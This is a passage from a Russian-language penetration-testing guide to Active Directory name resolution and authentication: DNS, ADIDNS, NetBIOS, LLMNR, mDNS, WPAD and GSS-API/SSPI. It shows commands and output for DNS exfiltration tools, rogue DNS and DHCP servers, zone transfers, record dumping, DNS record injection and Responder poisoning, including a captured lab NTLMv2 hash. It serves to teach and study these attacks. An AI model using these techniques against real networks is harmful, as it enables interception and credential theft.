Каждая зона DNS управляется независимо. Так легче поддерживать порядок записей. В Интернете существует множество различных зон DNS, каждая из которых предназначена для разных доменов и организаций. Следовательно, DNS-серверы должны взаимодействовать между собой, чтобы предоставлять информацию о других зонах. Например, если вы хотите узнать IP-адрес www.contoso.com, ваш DNS-сервер должен связаться с полномочным DNS-сервером contoso, который управляет зоной contoso.com, чтобы получить эту информацию.

Эксфильтрация DNS

Таким образом, протокол DNS может стать отличным союзником в качестве механизма эксфильтрации (https://blogs.akamai.com/2017/09/introduction-to-dns-data-exfiltration.html). Существуют определенные ситуации, когда сервер находится в изолированной сети и не имеет доступа к Интернету, но ему разрешено выполнять DNS-запросы для правильной работы. Если локальный DNS-сервер настроен неправильно и выполняет рекурсивные DNS-запросы к другим DNS-серверам в Интернете, это может быть использовано для обхода правил брандмауэра и отправки данных наружу.

1653683544279.png


Например, в случае наличия DNS-сервера для домена fake.com все DNS-запросы для fake.com и его поддоменов будут доходить до нашего сервера. Например, если мы хотим получить имя изолированного сервера, мы можем использовать его как субдомен и запросить websvr01.fake.com. Этот запрос должен пройти через локальный DNS-сервер и достичь нашего DNS-сервера в Интернете. Чтобы воспользоваться этим методом, мы можем использовать такой инструмент, как iodine (https://github.com/yarrick/iodine) или dnscat2 (https://github.com/iagox86/dnscat2) .

Поддельный DNS-сервер

Более того, поскольку DNS так важен для управления ресурсами сети, может быть очень полезно настроить фальшивый DNS-сервер, используя такие методы, как мошеннический DHCP-сервер.

С поддельным DNS-сервером мы могли бы перенаправлять запросы клиентов на машины, находящиеся под нашим контролем, чтобы восстановить хэши NetNTLM или просто прослушивать сеть в ожидании конфиденциальной информации, которая передается незащищенной. Мы можем использовать такие инструменты, как dnschef (https://github.com/iphelix/dnschef) или responseer.py (https://github.com/lgandx/Responder), чтобы создать фальшивый DNS-сервер.

$ dnschef -i 192.168.100.44 --fakeip 192.168.100.44
_ _ __
| | version 0.4 | | / _|
__| |_ __ ___ ___| |__ ___| |_
/ _` | '_ \/ __|/ __| '_ \ / _ \ _|
| (_| | | | \__ \ (__| | | | __/ |
\__,_|_| |_|___/\___|_| |_|\___|_|
iphelix@thesprawl.org

(12:29:51) [*] DNSChef started on interface: 192.168.100.44
(12:29:51) [*] Using the following nameservers: 8.8.8.8
(12:29:51) [*] Cooking all A replies to point to 192.168.100.44
(12:38:32) [*] 192.168.100.7: proxying the response of type 'PTR' for 44.100.168.192.in-addr.arpa
(12:38:32) [*] 192.168.100.7: cooking the response of type 'A' for aaa.contoso.local to 192.168.100.44
(12:38:32) [*] 192.168.100.7: proxying the response of type 'AAAA' for aaa.contoso.local

Передача зоны DNS


Другая интересная вещь, связанная с управлением зонами, — это передача зон. Передача зон используется для репликации всех записей DNS-сервера на другой DNS-сервер, что позволяет обновлять оба сервера. Однако в некоторых случаях DNS-сервер настроен неправильно и позволяет любому выполнять перенос зоны.

В случае Active Directory передача зон DNS не требуется для репликации записей DNS между контроллерами домена (которые обычно являются DNS-серверами). Однако их можно включить, чтобы позволить другим DNS-серверам реплицировать информацию DNS.

Передача зон может быть настроена для зоны и контроллера домена, что означает, что, возможно, только один контроллер домена разрешает выполнять передачу зоны, тогда как остальные контроллеры домена отказываются от передачи зоны. В случае неправильно сконфигурированного контроллера домена любой может выполнить передачу зоны, таким образом восстановив всю информацию DNS без каких-либо учетных данных. Для передачи зоны DNS можно использовать следующие команды:

- Linux: dig axfr <DNSDomainName> @<DCAddress>

- Windows: interactive nslookup ls -d <DNSDomainName>

root@debian10:~# dig axfr contoso.local @dc01.contoso.local

; <<>> DiG 9.11.5-P4-5.1+deb10u2-Debian <<>> axfr contoso.local @dc01.contoso.local
;; global options: +cmd
contoso.local. 3600 IN SOA dc01.contoso.local. hostmaster.contoso.local. 156 900 600 86400 3600
contoso.local. 600 IN A 192.168.100.3
contoso.local. 600 IN A 192.168.100.2
contoso.local. 3600 IN NS dc01.contoso.local.
contoso.local. 3600 IN NS dc02.contoso.local.
_gc._tcp.Default-First-Site-Name._sites.contoso.local. 600 IN SRV 0 100 3268 dc02.contoso.local.
_gc._tcp.Default-First-Site-Name._sites.contoso.local. 600 IN SRV 0 100 3268 dc01.contoso.local.
_kerberos._tcp.Default-First-Site-Name._sites.contoso.local. 600 IN SRV 0 100 88 dc02.contoso.local.
......................stripped output..................

===========================================================================

PS C:\> nslookup
Default Server: UnKnown
Address: 192.168.100.2

> server dc01.contoso.local
Default Server: dc01.contoso.local
Addresses: 192.168.100.2

> ls -d contoso.local
[UnKnown]
contoso.local. SOA dc01.contoso.local hostmaster.contoso.local. (159 900 600 86400 3600)
contoso.local. A 192.168.100.3
contoso.local. A 192.168.100.2
contoso.local. NS dc02.contoso.local
contoso.local. NS dc01.contoso.local
_gc._tcp.Default-First-Site-Name._sites SRV priority=0, weight=100, port=3268, dc02.contoso.local
_gc._tcp.Default-First-Site-Name._sites SRV priority=0, weight=100, port=3268, dc01.contoso.local
_kerberos._tcp.Default-First-Site-Name._sites SRV priority=0, weight=100, port=88, dc02.contoso.local
......................stripped output..................

Дамп DNS-записей


Кроме того, даже если передача зон запрещена, поскольку записи DNS хранятся в базе данных Active Directory, их можно прочитать с помощью LDAP. Таким образом, любой пользователь домена может использовать протокол LDAP для создания дампа всех записей DNS. Для этого можно использовать инструмент adidnsdump (https://github.com/dirkjanm/adidnsdump) (сохраняет результаты в records.csv) или скрипт dns-dump.ps1 (https://github.com/mmessano/PowerShell/blob/master/dns-dump.ps1) .

root@debian10:~# adidnsdump -u contoso\\Anakin contoso.local
Password:
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Querying zone for records
[+] Found 37 records

root@debian10:~# head records.csv
type,name,value
A,WS02-7,192.168.100.7
A,ws01-10,192.168.100.6
A,WIN-LBB9AO5FA13,192.168.100.6
A,win-4l1775e9t3u,192.168.100.2
A,ForestDnsZones,192.168.100.3
A,ForestDnsZones,192.168.122.254
A,ForestDnsZones,192.168.100.2
A,ForestDnsZones,192.168.122.111
A,DomainDnsZones,192.168.100.3

ADIDNS


Таким образом, DNS — довольно полезный протокол, и, конечно же, он используется в Active Directory. Реализация Active Directory — ADIDNS (Active Directory Integrated DNS), где роль DNS-серверов в основном берут на себя контроллеры домена (DC), поскольку их базы данных содержат DNS-имена компьютеров в домене и остальные записи DNS. В Active Directory DNS является предпочтительным методом разрешения имен. Порядок предпочтения разрешающих протоколов:

1. DNS
2. mDNS
3. LLMNR
4. NBNS


ADIDNS работает аналогично любым другим реализациям DNS, но имеет некоторые особенности.

Основное отличие от других реализаций заключается в том, что записи DNS хранятся в базе данных Active Directory, а не в текстовом файле. Таким образом, записи DNS интегрируются, как и любой другой объект, и используют преимущества доменных служб Active Directory, такие как автоматическая репликация, без необходимости передачи зон DNS.

Записи DNS могут храниться в одном из следующих мест в базе данных:

- Раздел DomainDnsZones: этот раздел реплицируется в контроллерах домена домена. Доступ к записям возможен через LDAP по маршруту CN=MicrosoftDNS,DC=DomainDnsZones,DC=<domainpart>,DC=<domainpart>.

- Раздел ForestDnsZones: этот раздел реплицируется на все контроллеры домена в лесу. Доступ к записям возможен через LDAP по маршруту CN=MicrosoftDNS,DC=DomainDnsZones,DC=<domainpart>,DC=<domainpart>.

- Раздел домена: в устаревших системах записи DNS, хранящиеся в этом разделе, реплицируются в контроллерах домена домена. Доступ к записям можно получить через LDAP по маршруту CN=MicrosoftDNS,CN=System,DC=<domainpart>,DC=<domainpart>.

Например, для доступа к разделу DomainDnsZones через LDAP в contoso.local маршрут будет следующим: CN=MicrosoftDNS,DC=DomainDnsZones,DC=contoso,DC=local.

В качестве одной из специальных характеристик, помимо обычных записей DNS, ADIDNS поддерживает специальные записи SRV (https://petri.com/active_directory_srv_records), которые позволяют находить определенные ресурсы в сети. Это позволяет нам идентифицировать контроллеры домена, запрашивая одну из следующих записей SRV:

  • _gc._tcp.<DNSSDomainName>
  • _kerberos._tcp.<DNSSDomainName>
  • _kerberos._udp.<DNSSDomainName>
  • _kpasswd._tcp.<DNSSDomainName>
  • _kpasswd._udp.<DNSSDomainName>
  • _ldap._tcp.<DNSSDomainName>
  • _ldap._tcp.dc._msdcs.<DNSDomainName>

Эти записи указывают на серверы, предоставляющие службы глобального каталога (_gc), Kerberos (_kerberos и _kpasswd) и LDAP (_ldap) в Active Directory, которые являются контроллерами домена.

Например, вы можете получить контроллеры домена contoso.local из Windows с помощью nslookup -q=srv _ldap._tcp.dc._msdcs.contoso.local и из Linux с помощью dig SRV _ldap._tcp.dc.contoso.local.

PS C:\> nslookup -q=srv _ldap._tcp.contoso.local
Server: ip6-localhost
Address: ::1

_ldap._tcp.contoso.local SRV service location:
priority = 0
weight = 100
port = 389
svr hostname = dc01.contoso.local
_ldap._tcp.contoso.local SRV service location:
priority = 0
weight = 100
port = 389
svr hostname = dc02.contoso.local
dc01.contoso.local internet address = 192.168.100.2
dc02.contoso.local internet address = 192.168.100.6



Также можно получить IP-адреса контроллеров домена, разрешив доменное имя <DNSDomainName>. Кроме того, основной контроллер домена можно обнаружить, запросив _ldap._tcp.pdc._msdcs.<DNSDomainName>.

Динамические обновления DNS

Другим интересным механизмом в DNS являются динамические обновления (https://www.ietf.org/rfc/rfc2136.txt). Динамические обновления позволяют клиентам создавать/изменять/удалять записи DNS. В Active Directory по умолчанию разрешены только защищенные динамические обновления. Это означает, что записи DNS защищены списками управления доступом (https://zer1t0.gitlab.io/posts/attacking_ad/#acls), и только авторизованные пользователи могут изменять их.

По умолчанию любой пользователь может создать новую запись DNS (пользователь становится ее владельцем), и только владелец может обновлять или удалять запись DNS. Поэтому в доступе будет отказано, если пользователь хочет создать уже существующую запись DNS. Для создания новых DNS-записей через динамические обновления DNS используется скрипт Invoke-DNSUpdate (https://github.com/Kevin-Robertson/Powermad#invoke-dnsupdate) .

PS C:\> Invoke-DNSUpdate -DNSType A -DNSName test -DNSData 192.168.100.100 -Verbose
VERBOSE: [+] Domain Controller = dc01.contoso.local
VERBOSE: [+] Domain = contoso.local
VERBOSE: [+] Kerberos Realm = contoso.local
VERBOSE: [+] DNS Zone = contoso.local
VERBOSE: [+] TKEY name 676-ms-7.1-0967.05293487-9821-11e7-4051-000c296694e0
VERBOSE: [+] Kerberos preauthentication successful
VERBOSE: [+] Kerberos TKEY query successful
[+] DNS update successful
PS C:\> nslookup test
Server: UnKnown
Address: 192.168.100.2

Name: test.contoso.local
Address: 192.168.100.100


Если вам интересно, как DNS может разрешать аутентифицированные запросы, это достигается с помощью протокола TSIG (https://www.ietf.org/rfc/rfc2845.txt)(подпись транзакции), который требует, чтобы сообщения были подписаны с помощью общего ключа между сервером и клиентом. В случае Active Directory этот общий ключ получается с использованием протокола Kerberos (https://zer1t0.gitlab.io/posts/attacking_ad/#kerberos) .

Возвращаясь к функциям динамических обновлений, одна интересная запись для регистрации — запись с подстановочными знаками, *. Запись с подстановочными знаками используется для указания IP-адреса по умолчанию, который используется для разрешения тех запросов, которые не соответствуют ни одной другой записи. Довольно полезно для выполнения атак PitM (https://blog.netspi.com/exploiting-adidns/), если он используется для указания на контролируемый нами компьютер. Однако динамические обновления не позволяют зарегистрировать запись с подстановочными знаками из-за ошибок в обработке символов.

К счастью, поскольку записи DNS хранятся в базе данных Active Directory, их можно создавать/изменять/удалять с помощью LDAP. Мы можем играть с записями DNS через LDAP с помощью Powermad (https://github.com/Kevin-Robertson/Powermad) и dnstool.py (https://github.com/dirkjanm/krbrelayx#dnstoolpy). Этот метод также можно использовать для восстановления хэшей NetNTLM с помощью Inveigh (https://github.com/Kevin-Robertson/Inveigh). Однако важно не забыть удалить зарегистрированные записи DNS по завершении, чтобы избежать проблем с сетью.

Однако существуют определенные имена DNS (https://www.netspi.com/blog/technical/network-penetration-testing/adidns-revisited/), которые защищены глобальным списком блокировки запросов DNS (GQBL) от разрешения, даже если вы добавите запись DNS. По умолчанию это wpad и isatap.

PS C:\> Get-DnsServerGlobalQueryBlockList


Enable : True
List : {wpad, isatap}


Для получения дополнительной информации о динамических обновлениях и связанных с ними атаках вы можете проверить следующие ресурсы:

- Спуфинга LLMNR/NBNS - Использование DNS, интегрированного в Active Directory (https://blog.netspi.com/exploiting-adidns/)
- Новый взгляд на ADIDNS - WPAD, GQBL и многое другое (https://blog.netspi.com/adidns-revisited/)

NetBIOS

NetBIOS (https://en.wikipedia.org/wiki/NetBIOS) (базовая сетевая система ввода-вывода) — это протокол сеансового уровня 5 OSI (и он не связан с BIOS компьютера). Он был разработан в 1983 году, чтобы позволить приложениям в одной и той же локальной сети (LAN) взаимодействовать между собой. NetBIOS стал очень популярным и использовался многими различными приложениями, однако он не мог связываться с ними в разных сетях. Поэтому в 1987 году был создан протокол NBT (https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP) (NetBIOS через TCP/IP) (RFC 1001 (https://tools.ietf.org/html/rfc1001) и RFC 1002 (https://tools.ietf.org/html/rfc1002)), чтобы NetBIOS работал по протоколам TCP и UDP и позволял приложениям, использующим NetBIOS, обмениваться данными через Интернет.

Он разделен на три службы: одну, службу имен NetBIOS, используемую для разрешения имен NetBIOS, и две службы, дейтаграмму и сеанс NetBIOS, для передачи сообщений (аналогично TCP и UDP).

1653683709201.png



Служба дейтаграмм NetBIOS

Служба дейтаграмм NetBIOS или NetBIOS-DGM или NBDGM аналогична UDP. Он используется в качестве транспортного уровня для прикладных протоколов, требующих связи без установления соединения. Сервер будет прослушивать UDP-порт 138.

Служба сеансов NetBIOS

Служба сеансов NetBIOS или NetBIOS-SSN или NBSSN аналогичны TCP. Его можно использовать в качестве транспорта для связи, ориентированной на подключение. Он использует порт 139/TCP.

Служба имен NetBIOS

С точки зрения пентеста, возможно, наиболее интересной службой NetBIOS является NBNS (служба имен NetBIOS), которая прослушивает порт 137/UDP. Этот сервис позволяет:

- Разрешить имя NetBIOS для IP-адреса
- Получить статус узла NetBIOS
- Зарегистрировать/освободить имя NetBIOS

Имена NetBIOS, в отличие от имен DNS, не являются иерархическими и работают только в локальной сети. Эти имена состоят из 16 байтов, где первые 15 байтов используются для хранения имени в верхнем регистре, а последний байт указывает тип ресурса, который имеет имя, которое может быть именем хоста, доменным именем, файлом сервис и т.д. Чтобы просмотреть имена NetBIOS локального компьютера с Windows, вы можете использовать команду nbtstat -n.

1653683726294.png


Как мы видим, показано несколько имен разных типов. Чтобы идентифицировать их, вы можете использовать следующую таблицу, которая содержит наиболее распространенные имена, но их намного больше. (https://web.archive.org/web/20031010135027/http://www.neohapsis.com:80/resources/wins.htm#sec2)

1653683736572.png


Протокол NBNS был реализован Microsoft как WINS (https://web.archive.org/web/2003101...hapsis.com:80/resources/wins.htm#sec4sub4sub4) (служба имен Интернета Windows). В сети каждый компьютер Windows имеет базу данных WINS, в которой хранятся доступные сетевые ресурсы, а также его биос и имя домена (или рабочей группы). Кроме того, можно настроить WINS-сервер, который работает как DNS-сервер с именами NetBIOS.

Таким образом, для разрешения имени NetBIOS есть две доступные стратегии. Первый — запросить WINS-сервер для разрешения имени. Если это невозможно, то запрос можно отправить на широковещательный IP-адрес, ожидая ответа от целевого компьютера. Разрешение имени NBNS выполняется, когда имя NetBIOS используется для подключения к другому компьютеру, например, в такой команде, как net view \\name. На машинах Linux можно использовать утилиту nmblookup (https://www.samba.org/samba/docs/current/man-html/nmblookup.1.html) для разрешения имен NetBIOS.

# nmblookup ws01-10
192.168.100.10 ws01-10<00>


Следует отметить, что в случае широковещательного запроса любой компьютер может ответить на запрос, что позволяет злоумышленнику выдать себя за реальный компьютер. Это одна из тактик, которую используют responseer.py (https://github.com/lgandx/Responder) и Inveigh (https://github.com/Kevin-Robertson/Inveigh) для сбора хэшей NTLM.

Кроме того, необходимо учитывать, что NBNS не используется, если любой другой протокол может разрешить запрос имени. Порядок предпочтения следующий:

1. DNS
2. mDNS
3. LLMNR
4. NBNS


Кроме того, если вы знаете IP-адрес узла NetBIOS, вы можете спросить его о его свервисах. На компьютере с Windows это можно сделать с помощью команды nbtstat (https://docs.microsoft.com/es-es/windows-server/administration/windows-commands/nbtstat) .

C:\Users\Anakin>nbtstat -A 192.168.100.4

Ethernet 2:
Node IpAddress: [192.168.100.3] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
WS02-7 <00> UNIQUE Registered
CONTOSO <00> GROUP Registered
WS02-7 <20> UNIQUE Registered
CONTOSO <1E> GROUP Registered
CONTOSO <1D> UNIQUE Registered
☺☻__MSBROWSE__☻<01> GROUP Registered

MAC Address = 52-54-00-A4-8C-F2


В выводе nbstat вы можете увидеть имя хоста, имя домена (или рабочей группы) и несколько служб машины, указанных по типу. Вы можете проверить значение столбца типа в этой таблице (https://web.archive.org/web/20031010135027/http://www.neohapsis.com:80/resources/wins.htm#sec2).

Кроме того, эту возможность можно использовать для сканирования сети NetBIOS и обнаружения машин и служб. Это можно сделать с помощью скрипта nbtscan( http://www.unixwiz.net/tools/nbtscan.html) или nmap nbtstat.nse (https://nmap.org/nsedoc/scripts/nbstat.html) как из Windows, так и из Linux.

root@debian10:~# nbtscan 192.168.100.0/24
192.168.100.2 CONTOSO\DC01 SHARING DC
192.168.100.7 CONTOSO\WS02-7 SHARING
*timeout (normal end of scan)


Если вы подключены к сети через proxychains, это не сработает, поскольку proxychains не перенаправляет UDP-соединения.

Более того, NBNS также позволяет узлам NetBIOS регистрировать и освобождать свои имена. Когда узел подключается к сети, он отправляет регистрационное сообщение на WINS-сервер или, если это невозможно, широковещательное сообщение. Кроме того, когда узел покидает сеть, он должен отправить сообщение об освобождении имени, чего обычно не происходит.

Следует отметить, что NBNS/WINS считается устаревшим протоколом, поэтому его использование не рекомендуется (https://docs.microsoft.com/en-us/windows-server/networking/technologies/wins/wins-top). Тем не менее, его все еще можно найти работающим во многих сетях Windows, поскольку он включен по умолчанию из соображений совместимости.

LLMNR

LLMNR ( https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution) (Link-Local Multicast Name Resolution) — это протокол децентрализованных приложений, аналогичный DNS, который позволяет разрешать имена хостов в одной и той же локальной сети, что означает, что его пакеты не пересылаются маршрутизаторами, а передаются только в их сегменте сети. Он включен в Windows, начиная с Windows Vista, и является третьим предпочтительным методом разрешения имен. Порядок предпочтения следующий:

1.DNS
2.mDNS
3.LLMNR
4.NBNS

В сети Windows компьютеры прослушивают порт 5355/UDP, и для разрешения имени клиент отправляет запрос LLMNR на многоадресный адрес (https://en.wikipedia.org/wiki/Multicast_address) 224.0.0.252 FF02:0:0:0:0:0:0:1:3 в IPv6. Запросы соответствуют формату DNS и могут использоваться для запроса не только имен, но и любых других вопросов, поддерживаемых DNS.

1653683789194.png


Распространенным случаем является использование LLMNR для разрешения имен в локальной ссылке путем отправки DNS-запросов. В этом случае компьютер с запрошенным именем должен ответить. Но, конечно же, на запрос может ответить кто угодно, даже злоумышленник для проведения атаки PitM. Это одна из тактик, используемых responseer.py (https://github.com/lgandx/Responder) и Inveigh (https://github.com/Kevin-Robertson/Inveigh) для восстановления хэшей NTLM в сетях с машинами Windows.

mDNS

mDNS (https://en.wikipedia.org/wiki/Multicast_DNS) (multicast DNS) — протокол децентрализованных приложений, аналогичный LLMNR, основанный на DNS, который позволяет разрешать имена в локальных сетях, а это означает, что его пакеты не пересылаются маршрутизаторами, а передаются только в их сегменте сети. Он включен в Windows 10 и является вторым предпочтительным методом разрешения имен после DNS (https://zer1t0.gitlab.io/posts/attacking_ad/#dns) .

1. DNS
2. mDNS
3. LLMNR
4.NBNS


В сети Windows компьютеры прослушивают порт 5353/UDP, и для разрешения имени клиент отправляет запрос mDNS на многоадресный адрес (https://en.wikipedia.org/wiki/Multicast_address) 224.0.0.251 (FF02::FB в IPv6). Запросы соответствуют формату DNS и могут использоваться для запроса не только имен, но и любых других вопросов, поддерживаемых DNS.

1653683809261.png


Распространенным случаем является использование mDNS для разрешения имен в локальной ссылке путем отправки DNS-запросов. В этом случае компьютер с запрошенным именем должен ответить, отправив ответ на многоадресный адрес 224.0.0.251, таким образом, любой компьютер в сети сможет получить ответ и кэшировать его. Но, конечно же, на запрос может ответить кто угодно, даже злоумышленник для проведения MITM-атаки. Это одна из тактик, используемых responseer.py (https://github.com/lgandx/Responder) и Inveigh (https://github.com/Kevin-Robertson/Inveigh) для сбора хэшей NetNTLM в сетях с машинами Windows.

WPAD

WPAD (https://en.wikipedia.org/wiki/Web_Proxy_Auto-Discovery_Protocol) (автоматическое обнаружение веб-прокси) — это протокол, позволяющий браузерам динамически получать файл с указанием прокси-серверов, которые они должны использовать. Файл, указывающий прокси, представляет собой файл javascript PAC (https://docs.microsoft.com/en-us/internet-explorer/ie11-ieak/proxy-auto-config-examples) (Proxy Auto-Config), который содержит функцию FindProxyForURL, которая вызывается браузерами при переходе на сайт.

1653683820442.png


Даже если протокол WPAD не используется по умолчанию, его можно найти в корпоративных средах, поскольку многие компании используют прокси для просмотра своего трафика. WPAD можно настроить в браузерах или системных настройках или даже с помощью объекта групповой политики (https://tektab.com/2012/09/26/setting-up-web-proxy-autodiscovery-protocol-wpad-using-dns/).

Чтобы найти PAC, браузеры обычно ищут его в http://wpad.<домен>/wpad.dat. Другой URL также может быть установлен DHCP (https://zer1t0.gitlab.io/posts/attacking_ad/#dhcp).

Для разрешения wpad.<domain> ОС отправляет DNS-запрос. В прошлом машины Windows также использовали для отправки запроса LLMNR или NetBIOS в случае сбоя DNS, но после обновления безопасности MS16-077 (https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2016/ms16-077 ) широковещательное разрешение WPAD отключено.

Кроме того, вы не можете создать DNS-запись wpad с помощью динамических обновлений DNS через DNS или DHCP или непосредственно с помощью LDAP. Это связано с тем, что он защищен глобальным списком блокировки запросов( https://www.netspi.com/blog/technical/network-penetration-testing/adidns-revisited/) (GQBL).

Таким образом, даже если в прошлом эта атака была очень популярна, сегодня у вас больше шансов настроить вредоносный DNS-сервер в жертве, используя DHCP или вручную для разрешения wpad на ваш хост.

$ sudo dhcplayer server -I eth2 -v --domain contoso.local
INFO - IP pool: 192.168.100.1-192.168.100.254
INFO - Mask: 255.255.255.0
INFO - Broadcast: 192.168.100.255
INFO - DHCP: 192.168.100.44
INFO - DNS: [192.168.100.44]
INFO - Router: [192.168.100.44]
INFO - Domain: contoso.local
INFO - DISCOVER from 52:54:00:76:87:bb (ws01-10)
INFO - Offer 192.168.100.121
INFO - REQUEST from 52:54:00:76:87:bb (ws01-10)
INFO - Requested IP 192.168.100.121
INFO - ACK to 192.168.100.121 for 52:54:00:76:87:bb


Кроме того, кажется, что в прошлом можно было запросить базовую HTTP-аутентификацию в запросе wpad (https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/). Однако я пробовал использовать разные браузеры (IE, Edge, Firefox и Chrome), но мне не удалось заставить его работать. Только когда требуется NTLM (с использованием responseer.py), браузер-жертва загружает файл wpad.

$ sudo responder -I eth2 -wF 1 ⨯
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|

NBT-NS, LLMNR & MDNS Responder 3.0.6.0

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C


[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]

[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
Auth proxy [OFF]
.......
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [ON]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
.......
[+] Listening for events...

[*] [DNS] A Record poisoned answer sent to: 192.168.100.121 Requested name: .wpad.contoso.local
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
[HTTP] User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
[HTTP] NTLMv2 Client : 192.168.100.121
[HTTP] NTLMv2 Username : CONTOSO\anakin
[HTTP] NTLMv2 Hash : anakin::CONTOSO:bab86818f6898114:4E4B01D6F205A8BAED8383384C34E4BB:0101000000000000342A94C0D853D7018430129FD734A90600000000020008004E0032003200360001001E00570049004E002D003900330034004C0048004600510045004B0044004800040014004E003200320036002E004C004F00430041004C0003003400570049004E002D003900330034004C0048004600510045004B00440048002E004E003200320036002E004C004F00430041004C00050014004E003200320036002E004C004F00430041004C000800300030000000000000000100000000200000F160EE2502E164FA02569EF7A5CFA08BC2C34A7C4843E74A8E6E5A4683CF1EEA0A001000000000000000000000000000000000000900120048005400540050002F0077007000610064000000000000000000
[HTTP] WPAD (auth) file sent to 192.168.100.121


Помимо взлома хэша NTLM (https://zer1t0.gitlab.io/posts/attacking_ad/#ntlm-hashes-cracking), это может быть полезно для ретрансляционных атак NTLM (https://zer1t0.gitlab.io/posts/attacking_ad/#ntlm-relay), поскольку HTTP не требует входа в NTLM и, следовательно, его можно использовать с любым другим протоколом в кросс-протокольной ретрансляционной атаке NTLM.

Кроме того, передача PAC-файла жертве позволит вам выполнить некоторый код javascript в качестве жертвы, который можно использовать для эксфильтрации посещенных URL-адресов (https://www.blackhat.com/docs/us-16/materials/us-16-Kotler-Crippling-HTTPS-With-Unholy-PAC.pdf).

Аутентификация

Важным моментом для понимания многих атак Active Directory является понимание того, как работает аутентификация в Active Directory. Но прежде чем углубляться в технические детали, давайте подведем итоги.

В Active Directory доступны два сетевых протокола аутентификации: NTLM (https://zer1t0.gitlab.io/posts/attacking_ad/#ntlm) и Kerberos (https://zer1t0.gitlab.io/posts/attacking_ad/#kerberos). Для аутентификации пользователей домена можно использовать любой из них, но для этого случая предпочтительнее использовать Kerberos, однако для аутентификации пользователей локального компьютера можно использовать только NTLM.

Поскольку можно использовать любой из них, как клиент и сервер согласовывают используемый протокол аутентификации? Они используют механизм переговоров под названием SPNEGO (https://zer1t0.gitlab.io/posts/attacking_ad/#spnego). С помощью SPNEGO они могут указать приемлемые для них протоколы.

1653683861265.png


Протоколы, согласованные с SPNEGO, должны быть совместимы с программным интерфейсом GSS-API (https://zer1t0.gitlab.io/posts/attacking_ad/#gss-api) , что позволяет клиентским и серверным программам использовать их прозрачным образом.

Но также необходимо учитывать, что протоколы аутентификации используются не только для удаленных входов в систему, но и для локальных входов в систему, поскольку компьютерам необходимо аутентифицировать пользователей домена на контроллерах домена (обычно запрашивая билет Kerberos). На компьютерах с Windows существуют разные типы входа в систему (https://zer1t0.gitlab.io/posts/attacking_ad/#logon-types), и их следует учитывать пентестеру, поскольку многие из них кэшируют учетные данные пользователя в процессе lsass или хранят пароли в секретах LSA.

Итак, давайте рассмотрим эти темы.

GSS-API/SSPI


GSS-API (https://en.wikipedia.org/wiki/Generic_Security_Services_Application_Program_Interface) (Generic Security Service Application Program Interface) — это интерфейс прикладного программирования, определяющий процедуры и типы, которые могут быть реализованы пакетами безопасности для обеспечения аутентификации (а не авторизации) унифицированным способом. Определен в RFC 2743 (https://tools.ietf.org/html/rfc2743).

Процедуры и типы для языка программирования C определены в RFC 2744. Таким образом, библиотека, совместимая с GSS-API, реализует эти методы и типы. Например, библиотеку MIT Kerberos (https://web.mit.edu/kerberos/krb5-1.12/doc/appdev/gssapi.html) можно использовать, вызывая процедуры GSS-API вместо прямого вызова процедур Kerberos. Вот некоторые из процедур GSS-API:

- gss_acquire_cred: возвращает дескриптор учетных данных.
- gss_init_sec_context: инициирует контекст безопасности для использования с узлом.
- gss_accept_sec_context: принимает контекст безопасности, инициированный узлом.

Кроме того, GSS-API также помогает поддерживать целостность и конфиденциальность связи. GSS-API включает процедуры для вычисления/проверки MIC (кода целостности сообщения) для сообщения, а также для шифрования/дешифрования содержимого. Соответствующие процедуры следующие:


- gss_get_mic: вычислить MIC (код целостности сообщения) для сообщения.
- gss_verify_mic: проверьте MIC, чтобы проверить целостность сообщения.
- gss_wrap: прикрепить MIC к сообщению и дополнительно зашифровать содержимое сообщения.
- gss_unwrap: проверить MIC и расшифровать содержимое сообщения.

Таким образом, пользовательское приложение может использовать разные библиотеки безопасности, просто вызывая процедуры GSS-API без изменения кода для каждой библиотеки. Например, программа может использовать аутентификацию Kerberos и NTLM через GSS-API.

1653683890748.png



Многие различные службы в Windows используют GSS-API для обеспечения аутентификации через Kerberos или NTLM. Несмотря на это, Kerberos недоступен в рабочих группах, только в Active Directory, поскольку это протокол централизованной аутентификации.

Windows использует SSPI ( https://docs.microsoft.com/en-us/windows/win32/secauthn/sspi) (интерфейс поставщика поддержки безопасности), который является проприетарным вариантом GSS-API Microsoft с некоторыми расширениями. Фактически, многие функции SSPI эквивалентны функциям GSS-API, например следующие:

1653683900431.png


Поставщики общих служб Windows

В Windows существуют разные SSP (поставщики поддержки безопасности) в виде библиотек DLL, которые реализуют SSPI и могут использоваться разными приложениями. Некоторые SSP (https://en.wikipedia.org/wiki/Security_Support_Provider_Interface) :

Kerberos SSP

Поставщик общих служб Kerberos (kerberos.dll) управляет проверкой подлинности Kerberos (https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-kerberos). Он также отвечает за кэширование билетов и ключей Kerberos.

NTLM SSP

